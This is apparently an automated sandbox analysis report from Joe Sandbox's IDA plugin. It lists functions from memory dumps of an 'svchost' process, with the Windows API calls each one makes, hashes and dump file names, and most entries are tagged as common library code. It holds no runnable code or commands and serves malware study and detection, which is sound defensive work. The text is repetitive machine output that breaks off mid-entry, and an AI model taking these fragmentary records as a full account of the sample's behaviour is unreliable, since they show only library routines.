Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID: Kernel$Kernel$string too long
API String ID: 3936042273-2500708579
Opcode ID: 2a8bcfd029964320970e2d3aa7f7ea56dbcb7bce2829b6bce6df93a51c541bcc
Instruction ID: 8998a09386439d8ca61a581965fc661227318451477fd9f86c1b2c795846018c
Opcode Fuzzy Hash: 2a8bcfd029964320970e2d3aa7f7ea56dbcb7bce2829b6bce6df93a51c541bcc
Instruction Fuzzy Hash: A6519FE2B0978981EB149B29994436E6365EF04FE8F544631EF6D0BBE5DE3CE191C304

Function 00007FF8B7E5F51C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF8B7E5F723,?,?,?,00007FF8B7E5C17A,?,?,?,00007FF8B7E5C029), ref: 00007FF8B7E5F5A1
GetLastError.KERNEL32(?,?,00000000,00007FF8B7E5F723,?,?,?,00007FF8B7E5C17A,?,?,?,00007FF8B7E5C029), ref: 00007FF8B7E5F5AF
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF8B7E5F723,?,?,?,00007FF8B7E5C17A,?,?,?,00007FF8B7E5C029), ref: 00007FF8B7E5F5D9
FreeLibrary.KERNEL32(?,?,00000000,00007FF8B7E5F723,?,?,?,00007FF8B7E5C17A,?,?,?,00007FF8B7E5C029), ref: 00007FF8B7E5F647
GetProcAddress.KERNEL32(?,?,00000000,00007FF8B7E5F723,?,?,?,00007FF8B7E5C17A,?,?,?,00007FF8B7E5C029), ref: 00007FF8B7E5F653

Strings

api-ms-, xrefs: 00007FF8B7E5F5C1

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 73de46bd66447239b20a0464595088e308068252c48c948db30c6c40f373d946
Instruction ID: e930031979ac739655ff42861eabf5a205c305daf9558c4e83c425317c343998
Opcode Fuzzy Hash: 73de46bd66447239b20a0464595088e308068252c48c948db30c6c40f373d946
Instruction Fuzzy Hash: F931CDA1A0AB8695EF119B1AA84057D6394FF08FE4F590A35DF1D0A3B4EE3CF5448340

Function 00000001800157EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00000001800159F3,?,?,?,000000018001244A,?,?,?,00000001800122F9), ref: 0000000180015871
GetLastError.KERNEL32(?,?,00000000,00000001800159F3,?,?,?,000000018001244A,?,?,?,00000001800122F9), ref: 000000018001587F
LoadLibraryExW.KERNEL32(?,?,00000000,00000001800159F3,?,?,?,000000018001244A,?,?,?,00000001800122F9), ref: 00000001800158A9
FreeLibrary.KERNEL32(?,?,00000000,00000001800159F3,?,?,?,000000018001244A,?,?,?,00000001800122F9), ref: 0000000180015917
GetProcAddress.KERNEL32(?,?,00000000,00000001800159F3,?,?,?,000000018001244A,?,?,?,00000001800122F9), ref: 0000000180015923

Strings

api-ms-, xrefs: 0000000180015891

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 447e17b1387bec9bda107f00d7707b99a227638a5510ff287e2c7b6bf967f1ec
Instruction ID: e9afcb04fc9127b9cec60847b1d3c29462a4caad7ae99dee651b7c68f174bd8d
Opcode Fuzzy Hash: 447e17b1387bec9bda107f00d7707b99a227638a5510ff287e2c7b6bf967f1ec
Instruction Fuzzy Hash: 6431C031312B48D5EFA39B12A8007DA63A8FB4CBE5F598525BD5D5A780EF38C6498300

Function 00007FF8B7E6B6B4 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B6F9
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B726
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B737
FlsSetValue.KERNEL32 ref: 00007FF8B7E6B748
SetLastError.KERNEL32 ref: 00007FF8B7E6B763

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 87ed3bc80aff3d50fe12d9924da3ecb1d46e9b009173b90df8401c4ca420b767
Instruction ID: d9b933493152374f96222572dec317a8b9c47a18bd5dd8657b6d7ef53d13b255
Opcode Fuzzy Hash: 87ed3bc80aff3d50fe12d9924da3ecb1d46e9b009173b90df8401c4ca420b767
Instruction Fuzzy Hash: 7021AC24E0C34246FA18A36D965503D22A6AF44FF4FA40734EB3E0BAF6DE2CF8008200

Function 0000000180021E64 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000180021E73
FlsGetValue.KERNEL32 ref: 0000000180021E88
FlsSetValue.KERNEL32 ref: 0000000180021EA9
FlsSetValue.KERNEL32 ref: 0000000180021ED6
FlsSetValue.KERNEL32 ref: 0000000180021EE7
FlsSetValue.KERNEL32 ref: 0000000180021EF8
SetLastError.KERNEL32 ref: 0000000180021F13

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a503aadc6a1a41c40af3fa30be6a43be02ef81174efa95a9cb7b1936f3a32808
Instruction ID: 11c25cb58e557a264b39c40beb29e90a655bc03afecb6518d6fa0a39ef05fcce
Opcode Fuzzy Hash: a503aadc6a1a41c40af3fa30be6a43be02ef81174efa95a9cb7b1936f3a32808
Instruction Fuzzy Hash: 2F219A3130464C4AFAEBA3216A413F923826B5C7F6F11C724BD364BBC6DF68C60A4301

Function 00007FF8B7E7B1A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF8B7E7B1D5
GetLastError.KERNEL32 ref: 00007FF8B7E7B1E1
CloseHandle.KERNEL32 ref: 00007FF8B7E7B1F9
CreateFileW.KERNEL32 ref: 00007FF8B7E7B224
WriteConsoleW.KERNEL32 ref: 00007FF8B7E7B243

Strings

CONOUT$, xrefs: 00007FF8B7E7B205

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 43afdfd585d2278dc7e76cc064fc423269492dc626284667623b436af6d711af
Instruction ID: 2510cf1519ae86d79a79155b58ee9c881c199df8f157dca7ee7447d7d44490d6
Opcode Fuzzy Hash: 43afdfd585d2278dc7e76cc064fc423269492dc626284667623b436af6d711af
Instruction Fuzzy Hash: 17114C21A18B8186E7508B5AA84432D67A0BF88FE9F444234EB5D8BBA4CF7CD9448744

Function 0000000180033524 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000000180033555
GetLastError.KERNEL32 ref: 0000000180033561
CloseHandle.KERNEL32 ref: 0000000180033579
CreateFileW.KERNEL32 ref: 00000001800335A4
WriteConsoleW.KERNEL32 ref: 00000001800335C3

Strings

CONOUT$, xrefs: 0000000180033585

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 0e2dfb93496c0b6630d300e4b1e51eb6eaf5709a2c8bafc5eb729d45e48fec34
Instruction ID: f84ff95f437018f2ea78557071f89d3686902ba68ba095d42bd0c364efebb78f
Opcode Fuzzy Hash: 0e2dfb93496c0b6630d300e4b1e51eb6eaf5709a2c8bafc5eb729d45e48fec34
Instruction Fuzzy Hash: 2A11C432310F4486E3928B56E88439A77A4F38CFE8F018214FE5D87B95CF79C6588740

Function 00007FF8B7E59944 Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF8B7E599B4
MultiByteToWideChar.KERNEL32 ref: 00007FF8B7E59A52
LCMapStringEx.KERNEL32 ref: 00007FF8B7E59ABB
LCMapStringEx.KERNEL32 ref: 00007FF8B7E59B0D
LCMapStringEx.KERNEL32 ref: 00007FF8B7E59BB2
WideCharToMultiByte.KERNEL32 ref: 00007FF8B7E59C0C

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 81e96dc812e17683ee815bb5f9238ed111d7d4117cd212f2b4559ad9810c7f01
Instruction ID: cf5d7c797774167e7a0220c65350452ca7af6d356ce1aa5cf79700f8b612a9b7
Opcode Fuzzy Hash: 81e96dc812e17683ee815bb5f9238ed111d7d4117cd212f2b4559ad9810c7f01
Instruction Fuzzy Hash: CB814DB2A0878586EB608F29A4402AD67E5FF84FE8F544635EB5D47BE9DF3CE4418700

Function 000000018000FC00 Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000000018000FC70
MultiByteToWideChar.KERNEL32 ref: 000000018000FD0E
LCMapStringEx.KERNEL32 ref: 000000018000FD77
LCMapStringEx.KERNEL32 ref: 000000018000FDC9
LCMapStringEx.KERNEL32 ref: 000000018000FE6E
WideCharToMultiByte.KERNEL32 ref: 000000018000FEC8

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: c6256e3636d6cc18c0aa300dee70683cb4cf2c7884b57909fd42ca65405d461a
Instruction ID: acff8706d8d8464c80f4d312ab2280a73420ce891537f55d3db3693a3d141cb7
Opcode Fuzzy Hash: c6256e3636d6cc18c0aa300dee70683cb4cf2c7884b57909fd42ca65405d461a
Instruction Fuzzy Hash: 8D81A372200B8886EBB6CF25E4407A973D5F748BE8F148226FA5947FD9DF38C6499700

Function 0000000180009AF0 Relevance: 9.2, APIs: 6, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180009B1B
std::_Lockit::_Lockit.LIBCPMT ref: 0000000180009B40
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180009B6A
std::_Facet_Register.LIBCPMT ref: 0000000180009BE1
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180009BFB
Concurrency::cancel_current_task.LIBCPMT ref: 0000000180009C23

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: a41e37f6d8781432a6e0315a08a6f216a9dd193aa0e1f55a891f1ca3278661f8
Instruction ID: 272802cc60baaf1dd1bd5433a6ba24aee14c8e276621ddd5558288b312642405
Opcode Fuzzy Hash: a41e37f6d8781432a6e0315a08a6f216a9dd193aa0e1f55a891f1ca3278661f8
Instruction Fuzzy Hash: E0519132205A4884EAA2DF56E5403D977A1F74CBE4F588626FE9D07799DF38C299C300

Function 0000000180008D40 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180008D87
std::_Lockit::_Lockit.LIBCPMT ref: 0000000180008DAC
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180008DD6
std::_Facet_Register.LIBCPMT ref: 0000000180008E50
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180008E6A
Concurrency::cancel_current_task.LIBCPMT ref: 0000000180008EC4

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 789a4bc65f5eba833cc56048bdf7616e0b770f9c7a2ed1fdb221789689157f1c
Instruction ID: 03624e6628873e3ff2a1bc3d1cbedc76f1130043bd87217024a73d1779958ddb
Opcode Fuzzy Hash: 789a4bc65f5eba833cc56048bdf7616e0b770f9c7a2ed1fdb221789689157f1c
Instruction Fuzzy Hash: 26416D32204B8885EB92DF15E4543D977A4FB9DBD0F489526FA8E137A9EF38C649C700

Function 00007FF8B7E567D0 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E567FB
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E56820
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E5684A
std::_Facet_Register.LIBCPMT ref: 00007FF8B7E568C1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E568DB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B7E56903

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 97dd5ddf8924ff48fa441bea0593380fb49c6b0aa5aa4b84fdac81a9b6ee69cd
Instruction ID: 0dca47f94aa41c49cb188ac3b5b206bade8af36252e1346dd5cfbb32818cac84
Opcode Fuzzy Hash: 97dd5ddf8924ff48fa441bea0593380fb49c6b0aa5aa4b84fdac81a9b6ee69cd
Instruction Fuzzy Hash: B5314C62A18B8A85EB619B19E4401BD6761FF54FD8F480A35DB5E0B6B5DF3CF441C700

Function 0000000180009290 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000001800092BB
std::_Lockit::_Lockit.LIBCPMT ref: 00000001800092E0
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000930A
std::_Facet_Register.LIBCPMT ref: 0000000180009381
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000939B
Concurrency::cancel_current_task.LIBCPMT ref: 00000001800093C3

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: e10511a330a29a024209228b9068a204c42c4cc5e6a970e4ccf5e773327ae3ce
Instruction ID: a91c69330b720f4a1e422a74f0c6a2b8c928e6d62573896748fbd50354d06799
Opcode Fuzzy Hash: e10511a330a29a024209228b9068a204c42c4cc5e6a970e4ccf5e773327ae3ce
Instruction Fuzzy Hash: D0314D32205A4885EAA2DF56E4513E973A0F78CBD8F488622FA5D577E5DF38C749CB00

Function 0000000180009DA0 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180009DCB
std::_Lockit::_Lockit.LIBCPMT ref: 0000000180009DF0
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180009E1A
std::_Facet_Register.LIBCPMT ref: 0000000180009E91
std::_Lockit::~_Lockit.LIBCPMT ref: 0000000180009EAB
Concurrency::cancel_current_task.LIBCPMT ref: 0000000180009ED3

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 8c3e48a5849586c1b0d552e60c3c74552780753502b44ad960c7dbd6dd973383
Instruction ID: 73b7b32322c838df13248bed35dc3b87a9a142aba9eadfaefba6fb73662a9aa7
Opcode Fuzzy Hash: 8c3e48a5849586c1b0d552e60c3c74552780753502b44ad960c7dbd6dd973383
Instruction Fuzzy Hash: 64318332205B4885EBA6DF16E4503DA7360F78DBD4F488622FA5D573A5EF38CA49C700

Function 00007FF8B7E57718 Relevance: 9.1, APIs: 6, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E5772D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF8B7E57752
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E5777C
std::_Facet_Register.LIBCPMT ref: 00007FF8B7E577F3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8B7E57814
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B7E57827

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: cb2c7650fb444f4f949e23561868b800050f5e460b37df8c04b7ed2c3328c16d
Instruction ID: 907721573ebce762730c54d1f0630b13cd7a7bb9fecd8f4063b605e5048b4886
Opcode Fuzzy Hash: cb2c7650fb444f4f949e23561868b800050f5e460b37df8c04b7ed2c3328c16d
Instruction Fuzzy Hash: 43318EA2A08B8A85EB569B59E8405BD6760EF84FE4F180532DB1C576F5DE3CF462C310

Function 000000018000DDD8 Relevance: 9.1, APIs: 6, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000018000DDED
std::_Lockit::_Lockit.LIBCPMT ref: 000000018000DE12
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000DE3C
std::_Facet_Register.LIBCPMT ref: 000000018000DEB3
std::_Lockit::~_Lockit.LIBCPMT ref: 000000018000DED4
Concurrency::cancel_current_task.LIBCPMT ref: 000000018000DEE7

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: d3f36bbc446c031b1494e51522292c4762ff9e65adc87fca2ede405a53892a3b
